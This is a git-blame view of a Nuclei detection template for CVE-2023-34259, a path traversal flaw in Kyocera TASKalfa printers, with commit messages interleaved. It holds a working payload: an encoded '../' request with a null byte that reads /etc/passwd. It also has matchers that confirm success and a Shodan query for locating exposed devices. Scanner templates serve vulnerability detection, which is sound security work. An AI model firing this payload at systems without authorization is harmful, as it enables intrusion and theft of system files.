daffainfo
/
nuclei-templates
mirror of https://github.com/daffainfo/nuclei-templates.git
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity
nuclei-templates/http/cves/2023/CVE-2023-34259.yaml

53 lines
2.0 KiB
YAML
Raw Normal View History

Create CVE-2023-34259.yaml CCRX has a Path Traversal vulnerability. Path Traversal is an attack on web applications. By manipulating the value of the file path, an attacker can gain access to the file system, including source code and critical system settings. Signed-off-by: GwanYeong Kim <gy741.kim@gmail.com>
2023-10-08 08:53:15 +00:00
id: CVE-2023-34259
info:
name: Kyocera TASKalfa printer - Path Traversal
author: gy741
TemplateMan Update [Tue Nov 14 05:56:48 UTC 2023] :robot:
2023-11-14 05:56:48 +00:00
severity: medium
Create CVE-2023-34259.yaml CCRX has a Path Traversal vulnerability. Path Traversal is an attack on web applications. By manipulating the value of the file path, an attacker can gain access to the file system, including source code and critical system settings. Signed-off-by: GwanYeong Kim <gy741.kim@gmail.com>
2023-10-08 08:53:15 +00:00
description: |
CCRX has a Path Traversal vulnerability. Path Traversal is an attack on web applications. By manipulating the value of the file path, an attacker can gain access to the file system, including source code and critical system settings.
remediation: |
Upgrade to the latest version to mitigate this vulnerability.
reference:
- https://sec-consult.com/vulnerability-lab/advisory/path-traversal-bypass-denial-of-service-in-kyocera-printer/
- https://www.kyoceradocumentsolutions.com/en/our-business/security/information/2023-07-14.html
- https://packetstormsecurity.com/files/173397/Kyocera-TASKalfa-4053ci-2VG_S000.002.561-Path-Traversal-Denial-Of-Service.html
TemplateMan Update [Fri Nov 3 10:59:12 UTC 2023] :robot:
2023-11-03 10:59:12 +00:00
- https://sec-consult.com/vulnerability-lab/
- https://seclists.org/fulldisclosure/2023/Jul/15
Create CVE-2023-34259.yaml CCRX has a Path Traversal vulnerability. Path Traversal is an attack on web applications. By manipulating the value of the file path, an attacker can gain access to the file system, including source code and critical system settings. Signed-off-by: GwanYeong Kim <gy741.kim@gmail.com>
2023-10-08 08:53:15 +00:00
classification:
TemplateMan Update [Tue Nov 14 05:56:48 UTC 2023] :robot:
2023-11-14 05:56:48 +00:00
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N
cvss-score: 4.9
Create CVE-2023-34259.yaml CCRX has a Path Traversal vulnerability. Path Traversal is an attack on web applications. By manipulating the value of the file path, an attacker can gain access to the file system, including source code and critical system settings. Signed-off-by: GwanYeong Kim <gy741.kim@gmail.com>
2023-10-08 08:53:15 +00:00
cve-id: CVE-2023-34259
cwe-id: CWE-22
TemplateMan Update [Tue Nov 14 14:37:18 UTC 2023] :robot:
2023-11-14 14:37:18 +00:00
epss-score: 0.00554
Revert "TemplateMan Update [Mon Apr 8 11:30:07 UTC 2024] :robot:" This reverts commit 433dda4ae5b824564b44075bb95a96ecdbe263a6.
2024-04-08 11:34:33 +00:00
epss-percentile: 0.77111
TemplateMan Update [Tue Nov 14 05:56:48 UTC 2023] :robot:
2023-11-14 05:56:48 +00:00
cpe: cpe:2.3:o:kyocera:d-copia253mf_plus_firmware:*:*:*:*:*:*:*:*
Fix Matcher and Panel Move around
2023-10-09 08:18:46 +00:00
metadata:
templateman update
2023-10-14 11:27:55 +00:00
verified: true
Fix Matcher and Panel Move around
2023-10-09 08:18:46 +00:00
max-request: 1
TemplateMan Update [Tue Nov 14 05:56:48 UTC 2023] :robot:
2023-11-14 05:56:48 +00:00
vendor: kyocera
product: d-copia253mf_plus_firmware
Fix Matcher and Panel Move around
2023-10-09 08:18:46 +00:00
shodan-query: http.favicon.hash:-50306417
auto tagging via templateman
2024-01-14 09:21:50 +00:00
tags: cve,cve2023,packetstorm,seclists,kyocera,lfi,printer
Create CVE-2023-34259.yaml CCRX has a Path Traversal vulnerability. Path Traversal is an attack on web applications. By manipulating the value of the file path, an attacker can gain access to the file system, including source code and critical system settings. Signed-off-by: GwanYeong Kim <gy741.kim@gmail.com>
2023-10-08 08:53:15 +00:00
http:
- method: GET
path:
- "{{BaseURL}}/wlmdeu%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fetc/passwd%00index.htm"
matchers-condition: and
matchers:
- type: regex
part: body
regex:
- "root:.*:0:0"
Fix Matcher and Panel Move around
2023-10-09 08:18:46 +00:00
- type: word
part: server
words:
- "KM-MFP"
Create CVE-2023-34259.yaml CCRX has a Path Traversal vulnerability. Path Traversal is an attack on web applications. By manipulating the value of the file path, an attacker can gain access to the file system, including source code and critical system settings. Signed-off-by: GwanYeong Kim <gy741.kim@gmail.com>
2023-10-08 08:53:15 +00:00
- type: status
status:
- 200
Auto Template Signing [Mon Mar 25 11:57:16 UTC 2024] :robot:
2024-03-25 11:57:16 +00:00
# digest: 4b0a00483046022100dfe11a778c6bdc20a3e3c51aa378203f41b531b6cf2b922ffddca585df371d4e022100ea0109fec66b77cdff0258b416143e4a92a9b0da63dd600edb0836e302cc174e:922c64590222798bb761d5b6d8e72950